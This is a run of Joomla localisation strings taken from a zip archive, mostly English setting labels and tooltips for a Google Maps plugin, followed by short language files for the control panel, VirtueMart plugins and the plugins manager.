Maptype can be Normal (default), Satellite, Hybrid, Terrain or Earth." GOOGLEMAPS_MAPS_MAPTYPENORMAL="Normal" GOOGLEMAPS_MAPS_MAPTYPESATELLITE="Satellite" GOOGLEMAPS_MAPS_MAPTYPEHYBRID="Hybrid" GOOGLEMAPS_MAPS_MAPTYPETERRAIN="Terrain" GOOGLEMAPS_MAPS_MAPTYPEEARTH="Earth" GOOGLEMAPS_MAPS_SHOWMAPTYPE="Show Maptype?" GOOGLEMAPS_TT_MAPS_SHOWMAPTYPE="Show menu for selecting the maptype?" GOOGLEMAPS_MAPS_SHOWMAPTYPENONE="None" GOOGLEMAPS_MAPS_SHOWMAPTYPEHORZMENU="Horizontal" GOOGLEMAPS_MAPS_SHOWMAPTYPEHIERMENU="Hierarchical" GOOGLEMAPS_MAPS_SHOWMAPTYPEVERTMENU="Vertical" GOOGLEMAPS_MAPS_SHOWNORMAL="Show Normal Maptype" GOOGLEMAPS_MAPS_TT_SHOWNORMAL="Show the button for Normal maptype?" GOOGLEMAPS_MAPS_SHOWSATELLITE="Show Satellite Maptype" GOOGLEMAPS_MAPS_TT_SHOWSATELLITE="Show the button for Satellite maptype?" GOOGLEMAPS_MAPS_SHOWHYBRID="Show Hybrid Maptype" GOOGLEMAPS_MAPS_TT_SHOWHYBRID="Show the button for Hybrid maptype?" GOOGLEMAPS_MAPS_SHOWTERRAIN="Show Terrain Maptype" GOOGLEMAPS_MAPS_TT_SHOWTERRAIN="Show the button for Terrain maptype?" GOOGLEMAPS_MAPS_SHOWEARTH="Show Earth Maptype" GOOGLEMAPS_MAPS_TT_SHOWEARTH="Show the button for Earth maptype?" GOOGLEMAPS_MAPS_SCALE="Show Scale?" GOOGLEMAPS_TT_MAPS_SCALE="Show the scale bar on the map?" GOOGLEMAPS_MAPS_OVERVIEW="Overview" GOOGLEMAPS_TT_MAPS_OVERVIEW="Show a small overview of the map in the lower right bottom corner" GOOGLEMAPS_MAPS_OVERVIEWENABLED="Enabled" GOOGLEMAPS_MAPS_OVERVIEWENABLEDCLOSED="Enabled closed" GOOGLEMAPS_MAPS_OVERVIEWDISABLED="Disabled" GOOGLEMAPS_MAPS_NAVLABEL="Show Navlabel?" GOOGLEMAPS_TT_MAPS_NAVLABEL="Show navigation label for a dynamic breadcrumb label indicating the address of the current view of the map" GOOGLEMAPS_MAPS_DRAGGING="Dragging?" GOOGLEMAPS_TT_MAPS_DRAGGING="If the visitor can drag/move the map to other locations" GOOGLEMAPS_MAPS_INFOWINDOW="Infowindow" GOOGLEMAPS_MAPS_TT_INFOWINDOW="If infowindow is open or closed initially?" GOOGLEMAPS_MAPS_INFOWINDOWOPEN="Open" GOOGLEMAPS_MAPS_INFOWINDOWCLOSED="Closed" GOOGLEMAPS_ICONS_IMAGE="Url to icon" GOOGLEMAPS_TT_ICONS_IMAGE="Url to image for the icon. Can be absolute or relative to the site" GOOGLEMAPS_ICONS_WIDTH="Icon width" GOOGLEMAPS_TT_ICONS_WIDTH="Width of the icon in pixels" GOOGLEMAPS_ICONS_HEIGHT="Icon height" GOOGLEMAPS_TT_ICONS_HEIGHT="Height of the icon in pixels" GOOGLEMAPS_ICONS_ANCHORX="Anchor x" GOOGLEMAPS_TT_ICONS_ANCHORX="X position within the icon to pinpoint the location the icon is pointing" GOOGLEMAPS_ICONS_ANCHORY="Anchor y" GOOGLEMAPS_TT_ICONS_ANCHORY="Y position within the icon to pinpoint the location the icon is pointing" GOOGLEMAPS_ICONS_SHADOW="Shadow" GOOGLEMAPS_TT_ICONS_SHADOW="Url to image for the shadow of the icon. Can be absolute or relative to the site" GOOGLEMAPS_ICONS_SHADOWWIDTH="Shadow width" GOOGLEMAPS_TT_ICONS_SHADOWWIDTH="Width of the shadow icon in pixels" GOOGLEMAPS_ICONS_SHADOWHEIGHT="Shadow Height" GOOGLEMAPS_TT_ICONS_SHADOWHEIGHT="Height of the shadow icon in pixels" GOOGLEMAPS_ICONS_INFOANCHORX="Info anchor X" GOOGLEMAPS_TT_ICONS_INFOANCHORX="X position within the icon where the point of the infowindow has to be placed" GOOGLEMAPS_ICONS_INFOANCHORY="Info anchor Y" GOOGLEMAPS_TT_ICONS_INFOANCHORY="Y position within the icon where the point of the infowindow has to be placed" GOOGLEMAPS_ICONS_TRANSPARANT="Transparent" GOOGLEMAPS_TT_ICONS_TRANSPARANT="Url to image for the transparent of the icon. This is needed to make the icon clickable. Can be absolute or relative to the site" GOOGLEMAPS_ICONS_IMAGEMAP="Image map" GOOGLEMAPS_TT_ICONS_IMAGEMAP="An image map for the icon image to define the clickable places." GOOGLEMAPS_MAPS_DIR="Directions" GOOGLEMAPS_TT_MAPS_DIR="If in a infowindow the direction form is added and how to show it: new window/tab or in a lightbox or on map itself?" GOOGLEMAPS_MAPS_DIRNONE="No directions" GOOGLEMAPS_MAPS_DIREXTERNALGOOGLE="External maps.google.???" GOOGLEMAPS_MAPS_DIREXTERNALDIR="External directions" GOOGLEMAPS_MAPS_DIRLIGHTBOX="Lightbox directions" GOOGLEMAPS_MAPS_DIRLIGHTBOXGOOGLE="Lightbox maps.google.???" GOOGLEMAPS_MAPS_DIRONMAP="On own map" GOOGLEMAPS_MAPS_DIRTYPE="Direction type" GOOGLEMAPS_TT_MAPS_DIRTYPE="If walking or driving directions should be shown" GOOGLEMAPS_MAPS_DIRTYPEDRIVING="Driving" GOOGLEMAPS_MAPS_DIRTYPEWALKING="Walking" GOOGLEMAPS_MAPS_AVOIDHIGHWAYS="Avoid highways" GOOGLEMAPS_TT_MAPS_AVOIDHIGHWAYS="Attempt to exclude highways when computing directions. Note that directions may still include highways if there are no viable alternatives" GOOGLEMAPS_MAPS_SHOWDIR="Show directions" GOOGLEMAPS_TT_MAPS_SHOWDIR="Show route information for directions or not." GOOGLEMAPS_MAPS_ANIMDIR="Animation of directions?" GOOGLEMAPS_TT_MAPS_ANIMDIR="Show animations of directions with streetview, map and route information? (default No)" GOOGLEMAPS_MAPS_ANIMDIRTOP="Top streetview" GOOGLEMAPS_MAPS_ANIMDIRBOTTOM="Bottom streetview" GOOGLEMAPS_MAPS_ANIMSPEED="Animation speed" GOOGLEMAPS_TT_MAPS_ANIMSPEED="Animation speed in seconds. Can be 0.5" GOOGLEMAPS_MAPS_ANIMAUTOSTART="Autostart of Animation?" GOOGLEMAPS_TT_MAPS_ANIMAUTOSTART="Start the animation directly after load?" GOOGLEMAPS_MAPS_ANIMUNIT="Animation units" GOOGLEMAPS_TT_MAPS_ANIMUNIT="The units can be miles or kilometers" GOOGLEMAPS_TT_MAPS_ANIMUNITKILOMETERS="Kilometers" GOOGLEMAPS_TT_MAPS_ANIMUNITMILES="Miles" GOOGLEMAPS_MAPS_FORMSPEED="Form for speed" GOOGLEMAPS_TT_MAPS_FORMSPEED="Show a form for the user to set the speed of the animation" GOOGLEMAPS_MAPS_DIRSHOWTYPE="Show direction types?" GOOGLEMAPS_TT_MAPS_DIRSHOWTYPE="Show the possible types for directions (Walking, Avoid highways etc.) in infowindow" GOOGLEMAPS_MAPS_FORMADDRESS="Form for address" GOOGLEMAPS_TT_MAPS_FORMADDRESS="Show a form for the user to set the start address and end address of the animation" GOOGLEMAPS_MAPS_FORMDIR="Address value in field?" GOOGLEMAPS_TT_MAPS_FORMDIR="In what field the value of parameter address should be filled (nowhere, to or from) and for toaddress in the opposite." GOOGLEMAPS_MAPS_LANGANIM="Language animations" GOOGLEMAPS_TT_APS_LANGANIM="All the labels for animation" GOOGLEMAPS_MAPS_TRAFFIC="Traffic" GOOGLEMAPS_TT_MAPS_TRAFIC="If Traffic should be shown on the map (only USA currently)?" GOOGLEMAPS_MAPS_PANORAMIO="Panoramio" GOOGLEMAPS_TT_MAPS_PANORAMIO="If Panoramio photo's should be shown on the map?" GOOGLEMAPS_MAPS_PANORAMIONO="No Panoramio" GOOGLEMAPS_MAPS_PANORAMIOALL="Panoramio all" GOOGLEMAPS_MAPS_PANORAMIOPOPULAIR="Panoramio popular" GOOGLEMAPS_MAPS_PANORAMIOTYPE="Panoramio type" GOOGLEMAPS_TT_MAPS_PANORAMIOTYPE="This is a different layer for panoramio then the previous. Here you can set a userid for own photo's or use public or full." GOOGLEMAPS_MAPS_PANORAMIOORDER="Panoramio order" GOOGLEMAPS_TT_MAPS_PANORAMIOORDER="The order of the photo's retrieved" GOOGLEMAPS_MAPS_PANORAMIOORDERPOPULARITY="popularity" GOOGLEMAPS_MAPS_PANORAMIOORDERUPLOADDATE="upload_date" GOOGLEMAPS_MAPS_PANORAMIOMAX="Panoramio max photo's" GOOGLEMAPS_TT_MAPS_PANORAMIOMAX="The maximum nimber of photo's shown on a map (max 100)" GOOGLEMAPS_MAPS_YOUTUBE="Youtube" GOOGLEMAPS_TT_MAPS_YOUTUBE="If Youtube video's should be shown on the map?" GOOGLEMAPS_MAPS_WIKI="Wiki" GOOGLEMAPS_TT_MAPS_WIKI="If wikipedia articles should be shown on the map (default none)? Use extension of country to select language. For example en for org.wikipedia.en" GOOGLEMAPS_MAPS_ADS="Ads Manager" GOOGLEMAPS_TT_MAPS_ADS="Place ads of Google on the map" GOOGLEMAPS_MAPS_ADSMAX="Maximum ads" GOOGLEMAPS_TT_MAPS_ADSMAX="Maximum ads on the map" GOOGLEMAPS_MAPS_LOCALSEARCH="Local Search" GOOGLEMAPS_TT_MAPS_LOCALSEARCH="If Local Search bar should be shown?" GOOGLEMAPS_ADSENSE="Adsense ID" GOOGLEMAPS_TT_ADSENSE="The ID of Google Adsense like PUB-1234567890" GOOGLEMAPS_MAPS_ADSENSECHANNEL="Adsense channel" GOOGLEMAPS_TT_MAPS_ADSENSECHANNEL="The channel which has to be used for the advertisements" GOOGLEMAPS_MAPS_GOOGLEBAR="Googlebar" GOOGLEMAPS_TT_MAPS_GOOGLEBAR="If Googlebar should be shown?" GOOGLEMAPS_MAPS_SEARCHLISTTYPE="Searchlist type" GOOGLEMAPS_TT_MAPS_SEARCHLISTTYPE="This can be inline (Default), suppress, div (Searchresult will be below map) or a name of a div (with this option you have to place the div for result yourself in the article)" GOOGLEMAPS_MAPS_SEARCHLINKTARGET="Search link target" GOOGLEMAPS_TT_MAPS_SEARCHLINKTARGET="The target for the links in the seacrh result" GOOGLEMAPS_MAPS_SEARCHLINKTARGETBLANK="Blank" GOOGLEMAPS_MAPS_SEARCHLINKTARGETSELF="Self" GOOGLEMAPS_MAPS_SEARCHLINKTARGETTOP="Top" GOOGLEMAPS_MAPS_SEARCHLINKTARGETPARENT="Parent" GOOGLEMAPS_MAPS_SEARCHZOOM="Search pan&zoom" GOOGLEMAPS_TT_MAPS_SEARCHZOOM="Pan and zoom to show results and show first result opened?" GOOGLEMAPS_MAPS_SEARCHZOOMPANZOOM="Pan & Zoom" GOOGLEMAPS_MAPS_SEARCHZOOMNOZOOM="No pan & Zoom" GOOGLEMAPS_MAPS_TITLEDIR="Title directions" GOOGLEMAPS_TT_MAPS_TITLEDIR="The title of the directions form" GOOGLEMAPS_MAPS_BUTTONDIR="Button directions" GOOGLEMAPS_TT_MAPS_BUTTONDIR="The text in the button of the directions form" GOOGLEMAPS_MAPS_TXTFROMDIR="Text from directions" GOOGLEMAPS_TT_MAPS_TXTFROMDIR="The text for the from option in the directionsform. Empty removes the option from the form (intial From here)" GOOGLEMAPS_MAPS_TXTTODIR="Text to directions" GOOGLEMAPS_TT_MAPS_TXTTODIR="The text for the to option in the directionsform. Empty removes the option from the form (initial To here)" GOOGLEMAPS_MAPS_TXTLABELADDR="Text label address" GOOGLEMAPS_TT_MAPS_TXTLABELADDR="The text for the field with address in the directionsform" GOOGLEMAPS_MAPS_TXTLABELDRIVING="Text label driving" GOOGLEMAPS_TT_MAPS_TXTLABELDRIVING="The text for the radio group item driving in the directionsform. Empty removes the option from the form (default empty)" GOOGLEMAPS_MAPS_TXTAVOIDHIGHWAYS="Text label avoid highways" GOOGLEMAPS_TT_MAPS_TXTAVOIDHIGHWAYS="The text for the radio group item avoid highways in the directionsform. Empty removes the option from the form (default empty)" GOOGLEMAPS_MAPS_TXTWALKING="Text label walking" GOOGLEMAPS_TT_MAPS_TXTWALKING="The text for the radio group item walking in the directionsform. Empty removes the option from the form (default empty)" GOOGLEMAPS_MAPS_FROMTODEFAULT="From/To Default" GOOGLEMAPS_TT_MAPS_FROMTODEFAULT="If from or to has to be the default for directions" GOOGLEMAPS_MAPS_FROMTODEFAULTTO="To" GOOGLEMAPS_MAPS_FROMTODEFAULTFROM="From" GOOGLEMAPS_MAPS_GOTOADDR="Goto address field" GOOGLEMAPS_TT_MAPS_GOTOADDR="Show Goto address field?" GOOGLEMAPS_MAPS_GOTOADDRZOOM="Goto address zoom" GOOGLEMAPS_TT_MAPS_GOTOADDRZOOM="When user enters an address then zoom to that address for this zoomlevel" GOOGLEMAPS_MAPS_TXTADDRESSINFOWINDOW="Address infowindow text" GOOGLEMAPS_TT_MAPS_TXTADDRESSINFOWINDOW="The text in the infowindow. Place ## where you want the entered address" GOOGLEMAPS_MAPS_ADDRERRTXT="Address error text" GOOGLEMAPS_TT_MAPS_ADDRERRTXT="The text in the alert box. Place ## where you want the entered address" GOOGLEMAPS_MAPS_GEOTYPE="Geocoding type" GOOGLEMAPS_TT_MAPS_GEOTYPE="Should the normal geocoder be used on server or local search on client" GOOGLEMAPS_MAPS_GEOTYPE_GOOGLE="Google Geocoder" GOOGLEMAPS_MAPS_GEOTYPE_LOCAL="Local Search" GOOGLEMAPS_MAPS_ALIGN="Align" GOOGLEMAPS_TT_MAPS_ALIGN="How the map should be aligned within the content (parent html object)" GOOGLEMAPS_MAPS_ALIGNLEFT="Left" GOOGLEMAPS_MAPS_ALIGNRIGHT="Right" GOOGLEMAPS_MAPS_ALIGNCENTER="Center" GOOGLEMAPS_MAPS_ALIGNNONE="None" GOOGLEMAPS_LANGUAGE_OPTION="Language option" GOOGLEMAPS_TT_LANGUAGE_OPTION="If the language of maps (buttons, tooltips) should be determined by:
        site - language of site
        user - so browser language/location
        config - defined in this config with language" GOOGLEMAPS_LANGTYPE_SITE="Site" GOOGLEMAPS_LANGTYPE_JOOMFISH="Joomfish" GOOGLEMAPS_LANGTYPE_USER="User" GOOGLEMAPS_LANGTYPE_CONFIG="Config" GOOGLEMAPS_LANGUAGE="Language" GOOGLEMAPS_TT_LANGUAGE="When language is determined by config then set language here" GOOGLEMAPS_MAPS_LIGHTBOX="Lightbox?" GOOGLEMAPS_TT_MAPS_LIGHTBOX="Show lightbox link, so visitor can show the mapin a lightbox" GOOGLEMAPS_MAPS_TXTLIGHTBOX="Text lightbox link" GOOGLEMAPS_TT_MAPS_TXTLIGHTBOX="The text for the link to open the lightbox" GOOGLEMAPS_MAPS_LBWIDTH="Lightbox Width" GOOGLEMAPS_TT_MAPS_LBWIDTH="Width of the lightbox" GOOGLEMAPS_MAPS_LBHEIGHT="Lightbox Height" GOOGLEMAPS_TT_MAPS_LBHEIGHT="Height of the lightbox" GOOGLEMAPS_MAPS_EFFECT="Effect on Map" GOOGLEMAPS_TT_MAPS_EFFECT="What effect has to be used on the Map (Horizontal use absolute width!)" GOOGLEMAPS_MAPS_EFFECTNONE="None" GOOGLEMAPS_MAPS_EFFECTHORZ="Horizontal" GOOGLEMAPS_MAPS_EFFECTVERT="Vertical" GOOGLEMAPS_MAPS_KMLRENDERER="KML renderer" GOOGLEMAPS_TT_MAPS_KMLRENDERER="What renderer has to be used for kml, gpx etc." GOOGLEMAPS_MAPS_KMLRENDERERGOOGLE="Google Maps API" GOOGLEMAPS_MAPS_KMLRENDERERGEOXML="GeoXML" GOOGLEMAPS_MAPS_KMLRENDERERARCGIS="ArcGis" GOOGLEMAPS_MAPS_KMLSIDEBAR="KML Sidebar type" GOOGLEMAPS_TT_MAPS_KMLSIDEBAR="This can be none (Default), left, right or a name of a div (with this option you have to place the div for sidebar yourself in the article)" GOOGLEMAPS_MAPS_KMLSIDEBARWIDTH="KML Sidebar width" GOOGLEMAPS_TT_MAPS_KMLSIDEBARWIDTH="Width of the sidebar (default 200px)." GOOGLEMAPS_MAPS_KMLFOLDERSOPEN="KML folders open" GOOGLEMAPS_TT_MAPS_KMLFOLDERSOPEN="If folders in a kml-file should be default all opened or defined inside the kml file (default)" GOOGLEMAPS_MAPS_KMLHIDE="KML hide markers?" GOOGLEMAPS_TT_MAPS_KMLHIDE="If the markers and other objects should be shown (default) or not shown/hidden" GOOGLEMAPS_MAPS_KMLSCALE="KML Scale icons?" GOOGLEMAPS_TT_MAPS_KMLSCALE="Scale the icons based on the scale entity in the kml file (default is no)" GOOGLEMAPS_MAPS_KMLINFOEVENT="KML infowindow event" GOOGLEMAPS_TT_MAPS_KMLINFOEVENT="If infowindo in a kml-file should react on a specific method (click is default)" GOOGLEMAPS_MAPS_KMLINFOEVENTCLICK="Click" GOOGLEMAPS_MAPS_KMLINFOEVENTDOUBLECLICK="Double click" GOOGLEMAPS_MAPS_KMLINFOEVENTMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_KMLINFOEVENTMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_KMLSORTSIDEBAR="Sort KML sidebar items" GOOGLEMAPS_TT_MAPS_KMLSORTSIDEBAR="Sort the items in the KML sidebar (none, asc, desc)" GOOGLEMAPS_MAPS_KMLSORTSIDEBARNONE="None" GOOGLEMAPS_MAPS_KMLSORTSIDEBARASC="Ascending" GOOGLEMAPS_MAPS_KMLSORTSIDEBARDESC="Descending" GOOGLEMAPS_MAPS_KMLLIGHTBOX="KML lightbox support" GOOGLEMAPS_TT_MAPS_KMLLIGHTBOX="If the scripts for lichtbox should be loaded to support a lightbox as a link in a kml-file" GOOGLEMAPS_MAPS_KMLSHOWMESS="Show KML render message" GOOGLEMAPS_TT_MAPS_KMLSHOWMESS="Show mesages for loading receiving etc (only for GeoXML)" GOOGLEMAPS_MAPS_SHOWKMLINFO="Show KML infowindow" GOOGLEMAPS_TT_MAPS_SHOWKMLINFO="Show infowindow on markers of a kml-file (only for GeoXML)" GOOGLEMAPS_MAPS_ZOOMMARKERS="KML Zoom to marker" GOOGLEMAPS_TT_MAPS_ZOOMMARKERS="Zoom into the marker. Select the zoomlevel that should be used. 0 is no zoom" GOOGLEMAPS_MAPS_SHOWINFOINDIV="Show info in div" GOOGLEMAPS_TT_MAPS_SHOWINFOINDIV="Show the description of a marker in a div instead of an infowindow (only for GeoXML)" GOOGLEMAPS_MAPS_KMLSHOWEXTCONTENT="Show KML ext content" GOOGLEMAPS_TT_MAPS_KMLSHOWEXTCONTENT="Show external content in infowindow of markers (only for GeoXML)" GOOGLEMAPS_MAPS_KMLMARKERLINK="Use marker as link" GOOGLEMAPS_TT_MAPS_KMLMARKERLINK="Click on a marker to goto a url (only for GeoXML)" GOOGLEMAPS_MAPS_KMLLINKTARGET="Link target for marker" GOOGLEMAPS_TT_MAPS_KMLLINKTARGET="How to open a link on a marker (only for GeoXML)" GOOGLEMAPS_MAPS_KMLLINKTARGETOWNWINTAB="Own window/tab" GOOGLEMAPS_MAPS_KMLLINKTARGETNEWWINTAB="new window/tab" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHOD="Marker link method" GOOGLEMAPS_TT_MAPS_KMLMARKERLINKMETHOD="If link on a marker in a kml-file should react on a specific method (dblclick is default) (only for GeoXML)" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODCLICK="Click" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODDOUBLECLICK="Double click" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_LABELOPACITYMARKER="Label opacity Marker" GOOGLEMAPS_TT_MAPS_LABELOPACITYMARKER="The opacity for labels of markers in a kml file (only for GeoXML)" GOOGLEMAPS_MAPS_LABELCLASSMARKER="Label class Marker" GOOGLEMAPS_TT_MAPS_LABELCLASSMARKER="The class for labels of markers in a kml file (only for GeoXML)" GOOGLEMAPS_MAPS_LABELOPACITYPOLYGON="Label opacity" GOOGLEMAPS_TT_MAPS_LABELOPACITYPOLYGON="The opacity for labels of polygons in a kml file (only for GeoXML)" GOOGLEMAPS_MAPS_LABELCLASSPOLYGON="Label class" GOOGLEMAPS_TT_MAPS_LABELCLASSPOLYGON="The class for labels of polygons in a kml file (only for GeoXML)" GOOGLEMAPS_MAPS_KMLPROXY="Use proxy for kml" GOOGLEMAPS_TT_MAPS_KMLPROXY="Get kml-files with proxy when using geoxml. If you don't use proxy then the kml-file should be on your own site." GOOGLEMAPS_MAPS_SV="Streetview" GOOGLEMAPS_TT_MAPS_SV="This can be none (Default), top, bottom or a name of a div (with this option you have to place the div for streetview yourself in the article)" GOOGLEMAPS_MAPS_SVWIDTH="Width" GOOGLEMAPS_TT_MAPS_SVWIDTH="Width of the streetview (default 100%). Best is the same width of the map. You must put the units behind the number like 100%, 400 or 400px. Minimum is 250px." GOOGLEMAPS_MAPS_SVHEIGHT="Height" GOOGLEMAPS_TT_MAPS_SVHEIGHT="Height of the streetview (default 300). Best is about 2/3 of the width of the streetview. You must put the units behind the number like 100%, 400 or 400px. Minimum is 70px." GOOGLEMAPS_MAPS_SVYAW="Streetview yaw" GOOGLEMAPS_TT_MAPS_SVYAW="Defines the rotation angle around the camera locus in degrees relative from true north (default 0 = North)" GOOGLEMAPS_MAPS_SVPITCH="Streetview pitch" GOOGLEMAPS_TT_MAPS_SVPITCH="Defines the angle variance up or down from the camera's initial default pitch (default 0 = horizontal)" GOOGLEMAPS_MAPS_SVZOOM="Streetview zoom" GOOGLEMAPS_TT_MAPS_SVZOOM="Defines the zoom level of this view (default empty)" GOOGLEMAPS_MAPS_EARTHTIMEOUT="Earth maptype timeout" GOOGLEMAPS_TT_MAPS_EARTHTIMEOUT="Timeout for Earth maptype for next action's like lookat and camera view" GOOGLEMAPS_MAPS_EARTHBORDERS="Earth borders" GOOGLEMAPS_TT_MAPS_EARTHBORDERS="Show borders on Earth layer" GOOGLEMAPS_MAPS_EARTHBUILDINGS="Earth buildings" GOOGLEMAPS_TT_MAPS_EARTHBUILDINGS="Show buildings on Earth layer" GOOGLEMAPS_MAPS_EARTHROADS="Earth roads" GOOGLEMAPS_TT_MAPS_EARTHROADS="Show roads on Earth layer" GOOGLEMAPS_MAPS_EARTHTERRAIN="Earth terrain" GOOGLEMAPS_TT_MAPS_EARTHTERRAIN="Show terrain on Earth layer" GOOGLEMAPS_MAPS_CLUSTERMAXMARKERS="Max markers on map" GOOGLEMAPS_TT_MAPS_CLUSTERMAXMARKERS="Maximum markers on map before clustering, default 650 (only kml renderer GeoXML)" GOOGLEMAPS_MAPS_CLUSTERGRIDSIZE="Gridsize cluster" GOOGLEMAPS_TT_MAPS_CLUSTERGRIDSIZE="Size of grid for a cluster, default 15 (only kml renderer GeoXML)" GOOGLEMAPS_MAPS_CLUSTERMINMARKERS="Min markers cluster" GOOGLEMAPS_TT_MAPS_CLUSTERMINMARKERS="Minimum markers in a cluster, default 5 (only kml renderer GeoXML)" GOOGLEMAPS_MAPS_CLUSTERINFOMAXLINES="Max lines info cluster" GOOGLEMAPS_TT_MAPS_CLUSTERINFOMAXLINES="Maximum number of lines in the infowindow of a cluster, default 15 (only kml renderer GeoXML)" GOOGLEMAPS_MAPS_CLUSTERINFOMETHOD="Method infowindow cluster" GOOGLEMAPS_TT_MAPS_CLUSTERINFOMETHOD="Method of opening the infowindow on a cluster (click is default) (only for GeoXML)" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODCLICK="Click" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODDOUBLECLICK="Double click" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_CLUSTERZOOMINTO="Method zoominto cluster" GOOGLEMAPS_TT_MAPS_CLUSTERZOOMINTO="Method on the marker to zoom into a cluster (dblclick is default) (only for GeoXML)" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOCLICK="Click" GOOGLEMAPS_MAPS_CLUSTERZOOMINTODOUBLECLICK="Double click" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_CLUSTERMARKERZOOM="Cluster Marker zoom" GOOGLEMAPS_TT_MAPS_CLUSTERMARKERZOOM="Zoom level for a marker in a cluster shown as a link in the infowindow of the cluster (Default 16)" GOOGLEMAPS_MAPS_TILELAYER="Tile layer" GOOGLEMAPS_TT_MAPS_TILELAYER="The url where the tiles can be found. After this url the tile method can be added or it can be used in special function to define the url. Also define the extension for example .png" GOOGLEMAPS_MAPS_TILEOPACITY="Tile opacity" GOOGLEMAPS_TT_MAPS_TILEOPACITY="The opacity of the custom tiles (1 is not transparent, 0 is invisible, 0.5 midway)" GOOGLEMAPS_MAPS_TILEBOUNDS="Tile bounds" GOOGLEMAPS_TT_MAPS_TILEBOUNDS="The bounds of a the custom tiles consists of coordinates for leftbottom (southwest) and right top (northeast). All values should be seperated by comma" GOOGLEMAPS_MAPS_TILEMINZOOM="Tile min zoom" GOOGLEMAPS_TT_MAPS_TILEMINZOOM="Minimum zoom level for the custom tiles (Default 0)" GOOGLEMAPS_MAPS_TILEMAXZOOM="Tile max zoom" GOOGLEMAPS_TT_MAPS_TILEMAXZOOM="Maximum zoom level for the custom tiles (Default 19" GOOGLEMAPS_MAPS_TILEMETHOD="Tile method" GOOGLEMAPS_TT_MAPS_TILEMETHOD="The method to get the tiles. This can be maptiler for a special function. Or the parameters after the url like /Z/X/Y.png. Z - zoom, X - tile.x, Y - tile.y." GOOGLEMAPS_MAPS_LATITUDEID="Latitude ID" GOOGLEMAPS_TT_MAPS_LATITUDEID="ID for user of the latitude" GOOGLEMAPS_MAPS_LATITUDEDESC="Latitude desc" GOOGLEMAPS_TT_MAPS_LATITUDEDESC="Show latitude description in the infowindow of the marker" GOOGLEMAPS_MAPS_LATITUDECOORD="Latitude coord" GOOGLEMAPS_TT_MAPS_LATITUDECOORD="Show the coordinates of the latitude use in the infowindow of the marker"PK@y>\]{=44'language/en-GB/en-GB.com_cpanel.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Control Panel" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\y;language/en-GB/en-GB.plg_vmpayment_moneybookers_pwy.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Przelewy24"PK@y>\tXz3language/en-GB/en-GB.plg_vmcustom_stockable.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="VM Custom Field with Stock Control"PK@y>\w& & $language/en-GB/en-GB.com_plugins.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Options" COM_PLUGINS_CONFIGURATION="Plug-in Manager Options" COM_PLUGINS_ELEMENT_HEADING="Element" COM_PLUGINS_ERROR_FILE_NOT_FOUND="The file %s could not be found." COM_PLUGINS_FIELD_ELEMENT_DESC="Plugin folder and main file name" COM_PLUGINS_FIELD_ELEMENT_LABEL="Plug-in File" COM_PLUGINS_FIELD_ENABLED_DESC="The enabled status of this plugin" COM_PLUGINS_FIELD_FOLDER_DESC="Category/folder of plugins this plugin belongs to." COM_PLUGINS_FIELD_FOLDER_LABEL="Plug-in Type" COM_PLUGINS_FIELD_NAME_DESC="The name of the plugin as defined in its xml" COM_PLUGINS_FIELD_NAME_LABEL="Plug-in Name" COM_PLUGINS_FOLDER_HEADING="Type" COM_PLUGINS_MANAGER_PLUGIN="Plug-in Manager: %s" COM_PLUGINS_MANAGER_PLUGINS="Plug-in Manager: Plug-ins" COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="There are no plugins installed matching your query" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="No plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d plugins successfully checked in" COM_PLUGINS_N_ITEMS_PUBLISHED="%d plugins successfully enabled" COM_PLUGINS_N_ITEMS_PUBLISHED_1="Plugin successfully enabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d plugins successfully disabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="Plugin successfully disabled" COM_PLUGINS_NAME_HEADING="Plug-in Name" COM_PLUGINS_NO_ITEM_SELECTED="No plugins selected" COM_PLUGINS_OPTION_FOLDER="- Select Type -" COM_PLUGINS_SAVE_SUCCESS="Plugin successfully saved" COM_PLUGINS_SEARCH_IN_TITLE="Search in plug-in title." COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" COM_PLUGINS_XML_ERR="Plugins XML data not available" JLIB_HTML_PUBLISH_ITEM="Enable plugin" JLIB_HTML_UNPUBLISH_ITEM="Disable 